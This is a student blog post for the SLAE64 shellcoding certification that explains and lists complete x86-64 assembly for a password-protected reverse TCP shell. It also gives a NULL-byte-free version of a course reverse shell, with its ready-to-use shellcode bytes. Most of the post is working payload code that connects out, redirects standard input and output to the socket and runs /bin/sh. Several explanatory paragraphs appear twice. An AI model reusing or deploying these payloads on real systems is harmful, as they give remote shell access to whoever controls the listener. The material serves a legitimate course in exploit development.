This is the second blog in the SLAE64 series as part of the certification challenge. If you want to read the previous post first, I provided a link below.
Previous Posts:
For this assignment, we had the following requirements:
Previous Posts:
For this assignment, we had the following requirements:
- Create a Shell_Reverse_TCP Shellcode
- Reverse connects to configured IP and Port
- Needs a "Passcode"
- If Passcode is correct then Execs Shell
- Remove 0x00 from the Reverse TCP Shellcode discussed
So, like assignment one, we need to accomplish something similar but this time instead of a Bind Shell, we'll need to make a Reverse TCP Shell. We'll also need to modify the Reverse Shell provided in the class to remove NULL bytes. The full code can be found on GitHub here: https://github.com/blu3gl0w13/SLAE64/tree/master/assignment-2
Supplemental scripts used for various purposes can be found here: https://github.com/blu3gl0w13/SLAE64/tree/master/scripts
Similar to Assignment 1 we'll start off by creating a socket with the define __NR_socket 41 system call. In order to eliminate NULL bytes, we have to initialize all of the registers we'll need to make the system call properly. We do this with the XOR instruction using the register as the first and second operand. Once our registers are initialized properly to avoid NULL bytes, we use the MOV instruction to copy 0x29 into AL. We'll use the ADD instruction to set up the rest of the registers to hold the values of AF_INET, SOCK_STREAM, TCP. Once we issue the SYSCALL instruction, we save our SOCKFD value by putting it into RDI. Our socket is now created.
Unlike assignment one, we don't need to bind the socket, listen on the socket, or accept connections. We're building a reverse connection after all. With our socket created, we can now just connect to our listener. For this we'll use the define __NR_connect 42 (0x2a) system call. RAX is initialized with an XOR instruction before 0x2a is copied into AL. 0x2a is hex for 42. RDX is initialized and then 16 is moved into DL. This will be our socklen_t addrlen argument to connect. We then push a NULL byte onto the stack to prepare the const struct sockaddr *addr argument to connect.once the stack is setup using MOV instructions, we adjust the stack 8 bytes and copy the stack address into RSI. RDI already had int sockfd so we can execute our SYSCALL instruction. The last set of instructions initialize R9 in order to hold onto our SOCKFD just in case. This probably isn't necessary but I tend to be overly cautious. If I were writing this for efficient shellcode, as small as possible, I probably wouldn't keep these instructions in.
Once we make our connection, we'll get our password set up. This is what we will use for comparison later in the script. We initialize R14 and push it's NULL value onto the stack. We then move our password H4xx0r01 in reverse order into the same register before pushing it onto the stack. Once it's on the stack, we push the stack pointer into the same register for safe keeping since we'll need it later. Finally, we adjust the stack 16 bytes to be sure we don't accidentally overwrite the password on the stack.
With our password setup, we then redirect our SOCKFD to standard in, out, and error with the define __NR_dup2 33 system call. We did the same thing in our Bind Shell script for Assignment 1.
After we redirect our SOCKFD, the passprompt: code uses the define __NR_write 1 system call to write a string through the socket. This is totally unnecessary and I just used this for a sense of interactivity. Like the Bind Shell code it will ask the end user for a password. Once our registers are configured for our system call arguments, we execute the system call.
Excellent. This next block of code uses the define __NR_read 0 system call to read in the end user's input. Similar to Assignment 1, we read in 16 bytes and then place the password pointer and the entered password pointer into RDI and RSI so that we can use the CMPSQ to compare the values. If they match, the Zero Flag (ZF) will get set and we redirect program flow to our shelltime label. If it doesn't match the Zero Flag (ZF) is not set and we jump back to our passprompt label to write a string through the socket. This section acts to not only compare the values but provide feedback to the end user that their password was wrong. If it's write, we get a shell.
This block of code, executes /bin//sh -i via a define __NR_execve 59 system call. This should be pretty straight forward by now as it mimics other system calls we've made in previous blog posts before.
When we run the code we see that it's 277 bytes long. This is still considerably shorter than our Bind Shell with password.

The next part of the assignment asked us to rewrite the RevShell.nasm from the class scripts so that it didn't have any NULL bytes in it's opcode. The original script by Vivek can be found here: https://github.com/blu3gl0w13/SLAE64/blob/master/assignment-2/RevShell.nasm
Here's the adjusted version. Notice we initialize registers and use the smallest register possible for copying values so that we don't accidentally introduce NULL bytes.
To be sure we don't have any NULL bytes, we need to actually dump the opcodes. Once again, we see there are no NULL bytes. Excellent. Mission accomplished.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert 64-bit certification:
http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html
Student ID: SLAE64 - 1439
Next: SLAE64 - Assignment 3
Supplemental scripts used for various purposes can be found here: https://github.com/blu3gl0w13/SLAE64/tree/master/scripts
Similar to Assignment 1 we'll start off by creating a socket with the define __NR_socket 41 system call. In order to eliminate NULL bytes, we have to initialize all of the registers we'll need to make the system call properly. We do this with the XOR instruction using the register as the first and second operand. Once our registers are initialized properly to avoid NULL bytes, we use the MOV instruction to copy 0x29 into AL. We'll use the ADD instruction to set up the rest of the registers to hold the values of AF_INET, SOCK_STREAM, TCP. Once we issue the SYSCALL instruction, we save our SOCKFD value by putting it into RDI. Our socket is now created.
;------------------------------
; rev-shell-pass.nasm
; by Michael Born
; Student ID: SLAE64-1439
; November 7, 2016
;------------------------------
; purpose: password protected rev shell
global _start
section .text
_start:
; socket syscall
; define __NR_socket 41
;
xor rax, rax ; initialize rax
mov al, 0x29 ; int socket(int domain, int type, int protocol)
xor rdi, rdi ;
add rdi, 0x2 ; AF_INET
xor rsi, rsi ;
add rsi, 0x1 ; SOCK_STREAM
xor rdx, rdx ;
add rdx, 0x6 ; TCP
syscall ; syscall
; save socketfd for later
mov rdi, rax ; socketfd into rdi
Unlike assignment one, we don't need to bind the socket, listen on the socket, or accept connections. We're building a reverse connection after all. With our socket created, we can now just connect to our listener. For this we'll use the define __NR_connect 42 (0x2a) system call. RAX is initialized with an XOR instruction before 0x2a is copied into AL. 0x2a is hex for 42. RDX is initialized and then 16 is moved into DL. This will be our socklen_t addrlen argument to connect. We then push a NULL byte onto the stack to prepare the const struct sockaddr *addr argument to connect.once the stack is setup using MOV instructions, we adjust the stack 8 bytes and copy the stack address into RSI. RDI already had int sockfd so we can execute our SYSCALL instruction. The last set of instructions initialize R9 in order to hold onto our SOCKFD just in case. This probably isn't necessary but I tend to be overly cautious. If I were writing this for efficient shellcode, as small as possible, I probably wouldn't keep these instructions in.
; define __NR_connect 42 (0x2a)
; struct sockaddr_in {
; sa_family_t sin_family address family: AF_INET
; in_port_t sin_port port in network byte order
; struct in_addr sin_addr internet address
xor rax, rax ; initialize rax
mov al, 0x2a ; int connect(int sockfd,
; const struct sockaddr *addr, socklen_t addrlen)
xor rdx, rdx ; initialize rdx
mov dl, 0x10 ; socklen_t addrlen (16)
xor rsi, rsi ; initialize rsi
push rsi ; NULL byte
mov dword [rsp - 0x4], 0x101017f ; IP Addr 127.1.1.1
mov word [rsp -0x6], 0x5c11 ; Port 4444
mov dword [rsp -0xa], esi ; null byte
mov byte [rsp - 0x8], 0x2 ; AF_INET
sub rsp, 0x8 ; readjust stack
mov rsi, rsp ; const struct sockaddr *addr
syscall ; syscall
xor r9, r9
mov r9, rdi
Once we make our connection, we'll get our password set up. This is what we will use for comparison later in the script. We initialize R14 and push it's NULL value onto the stack. We then move our password H4xx0r01 in reverse order into the same register before pushing it onto the stack. Once it's on the stack, we push the stack pointer into the same register for safe keeping since we'll need it later. Finally, we adjust the stack 16 bytes to be sure we don't accidentally overwrite the password on the stack.
With our password setup, we then redirect our SOCKFD to standard in, out, and error with the define __NR_dup2 33 system call. We did the same thing in our Bind Shell script for Assignment 1.
password:
; password onto stack in safe place
xor r14, r14
push r14 ; NULL byte onto stack
mov r14, 0x3130723078783448 ; '10r0xx4H'
push r14
mov r14, rsp ; pointer to password on stack
sub rsp, 0x10 ; adjust stack 16 bytes so we don't accidentally
; overwrite our password
duper:
; define __NR_dup2 33
xor rax, rax
mov al, 0x21 ; int dup2(int oldfd, int newfd)
xor rsi, rsi ; int newfd (0 for stdin)
syscall ; syscall
xor rax, rax ;
mov al, 0x21 ; int dup2(int oldfd, int newfd)
inc rsi ; int newfd (now 1 for std out)
syscall ; syscall
xor rax, rax ;
mov al, 0x21 ; int dup2(int oldfd, int newfd)
inc rsi ; int newfd (2 for stdout)
syscall ; syscall
After we redirect our SOCKFD, the passprompt: code uses the define __NR_write 1 system call to write a string through the socket. This is totally unnecessary and I just used this for a sense of interactivity. Like the Bind Shell code it will ask the end user for a password. Once our registers are configured for our system call arguments, we execute the system call.
passprompt:
; define __NR_write 1
; send prompt through socket
mov rdi, r9
push byte 0x1
pop rax ; ssize_t write(int fd, const void *buf,
; size_t count)
xor rsi, rsi ; initialize rsi
push rsi ; push NULL onto the stack
mov rsi, 0x0a203a64726f7773 ; n\ :drows
push rsi
mov rsi, 0x7361502061207265 ; saP a re
push rsi
mov rsi, 0x746e452065736165 ;tnE esae
push rsi
push word 0x6c50 ; 'lP'
mov rsi, rsp ; const void *buf
xor rdx, rdx ;
mov dl, 26 ; size_t count
syscall ; syscall
Excellent. This next block of code uses the define __NR_read 0 system call to read in the end user's input. Similar to Assignment 1, we read in 16 bytes and then place the password pointer and the entered password pointer into RDI and RSI so that we can use the CMPSQ to compare the values. If they match, the Zero Flag (ZF) will get set and we redirect program flow to our shelltime label. If it doesn't match the Zero Flag (ZF) is not set and we jump back to our passprompt label to write a string through the socket. This section acts to not only compare the values but provide feedback to the end user that their password was wrong. If it's write, we get a shell.
; define __NR_read 0
xor rax, rax ; ssize_t read(int fd, void *buf, size_t count)
xor rsi, rsi ;
push rsi
lea rsi, [rsp -0x10] ; pointer to buffer with entered password
xor rdx, rdx ; initialize rdx
add dl, 0x10 ; size_t count
syscall ; syscall
passwordcheck:
mov rdi, r14 ; password for comparison
cmpsq ; compare passwords
jz shelltime ; password valid
jnz passprompt ; password invalid
This block of code, executes /bin//sh -i via a define __NR_execve 59 system call. This should be pretty straight forward by now as it mimics other system calls we've made in previous blog posts before.
shelltime:
; define __NR_execve 59
; /bin//sh -i
; int execve(const char *filename, char *const argv[], char *const envp[])
xor rax, rax
mov al, 0x3b ; int execve(const char *filename, char *const argv[],
; char *const envp[])
xor rdi, rdi ;
push rdi ; NULL byte onto stack
mov rdi, 0x68732f2f6e69622f ; 'hs//nib/'
push rdi ; 'hs//nib/' onto stack
mov rdi, rsp ; pointer to 'hs//nib/'
xor rsi, rsi ;
push rsi ; NULL byte onto stack
push word 0x692d ; 'i-'
xor r10, r10 ;
mov r10, rsp ; store rsp temporarily
push rsi ; NULL byte
push r10 ; '-i'
push rdi ; 'hs//nib/'
mov rsi, rsp ; char *const argv[]
xor rdx, rdx ;
push rdx ; NULL byte onto stack
mov rdx, rsp ; char *const envp[]
syscall ; syscall
When we run the code we see that it's 277 bytes long. This is still considerably shorter than our Bind Shell with password.

The next part of the assignment asked us to rewrite the RevShell.nasm from the class scripts so that it didn't have any NULL bytes in it's opcode. The original script by Vivek can be found here: https://github.com/blu3gl0w13/SLAE64/blob/master/assignment-2/RevShell.nasm
Here's the adjusted version. Notice we initialize registers and use the smallest register possible for copying values so that we don't accidentally introduce NULL bytes.
;--------------------------------
; RevShell-adjusted.nasm
; by Michael Born (@blu3gl0w13)
; Student ID: SLAE64-1439
; November 8, 2016
; Original code by:
; Vivek Ramachandran
; SecurityTube
;-------------------------------
global _start
_start:
; sock = socket(AF_INET, SOCK_STREAM, 0)
; AF_INET = 2
; SOCK_STREAM = 1
; syscall number 41
xor rax, rax
mov al, 41
xor rdi, rdi
add dil, 0x2
xor rsi, rsi
inc rsi
xor rdx, rdx
syscall
; copy socket descriptor to rdi for future use
mov rdi, rax
; server.sin_family = AF_INET
; server.sin_port = htons(PORT)
; server.sin_addr.s_addr = inet_addr("127.1.1.1")
; bzero(&server.sin_zero, 8)
xor rax, rax
push rax
mov dword [rsp-4], 0x101017f
mov word [rsp-6], 0x5c11 ; 4444
mov dword [rsp -0xa], eax
mov byte [rsp-8], 0x2
sub rsp, 8
; connect(sock, (struct sockaddr *)&server, sockaddr_len)
xor rax, rax
mov al, 42
mov rsi, rsp
xor rdx, rdx
add rdx, 16
syscall
; duplicate sockets
; dup2 (new, old)
xor rax, rax
mov al, 33
xor rsi, rsi
syscall
xor rax, rax
mov al, 33
inc rsi
syscall
xor rax, rax
mov al, 33
inc rsi
syscall
; execve
; First NULL push
xor rax, rax
push rax
; push /bin//sh in reverse
xor rbx, rbx
mov rbx, 0x68732f2f6e69622f
push rbx
; store /bin//sh address in RDI
mov rdi, rsp
; Second NULL push
push rax
; set RDX
mov rdx, rsp
; Push address of /bin//sh
push rdi
; set RSI
mov rsi, rsp
; Call the Execve syscall
add rax, 59
syscall
To be sure we don't have any NULL bytes, we need to actually dump the opcodes. Once again, we see there are no NULL bytes. Excellent. Mission accomplished.
"\x48\x31\xc0\xb0\x29\x48\x31\xff\x40\x80\xc7\x02\x48\x31\xf6\x48\xff\xc6\x48\x31\xd2\x0f\x05\x48"
"\x89\xc7\x48\x31\xc0\x50\xc7\x44\x24\xfc\x7f\x01\x01\x01\x66\xc7\x44\x24\xfa\x11\x5c\x89\x44\x24"
"\xf6\xc6\x44\x24\xf8\x02\x48\x83\xec\x08\x48\x31\xc0\xb0\x2a\x48\x89\xe6\x48\x31\xd2\x48\x83\xc2"
"\x10\x0f\x05\x48\x31\xc0\xb0\x21\x48\x31\xf6\x0f\x05\x48\x31\xc0\xb0\x21\x48\xff\xc6\x0f\x05\x48"
"\x31\xc0\xb0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\x50\x48\x31\xdb\x48\xbb\x2f\x62\x69\x6e\x2f\x2f"
"\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05"
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert 64-bit certification:
http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html
Student ID: SLAE64 - 1439
Next: SLAE64 - Assignment 3
Comments
Post a Comment
Please leave a comment. Keep it on topic and appropriate for all audiences.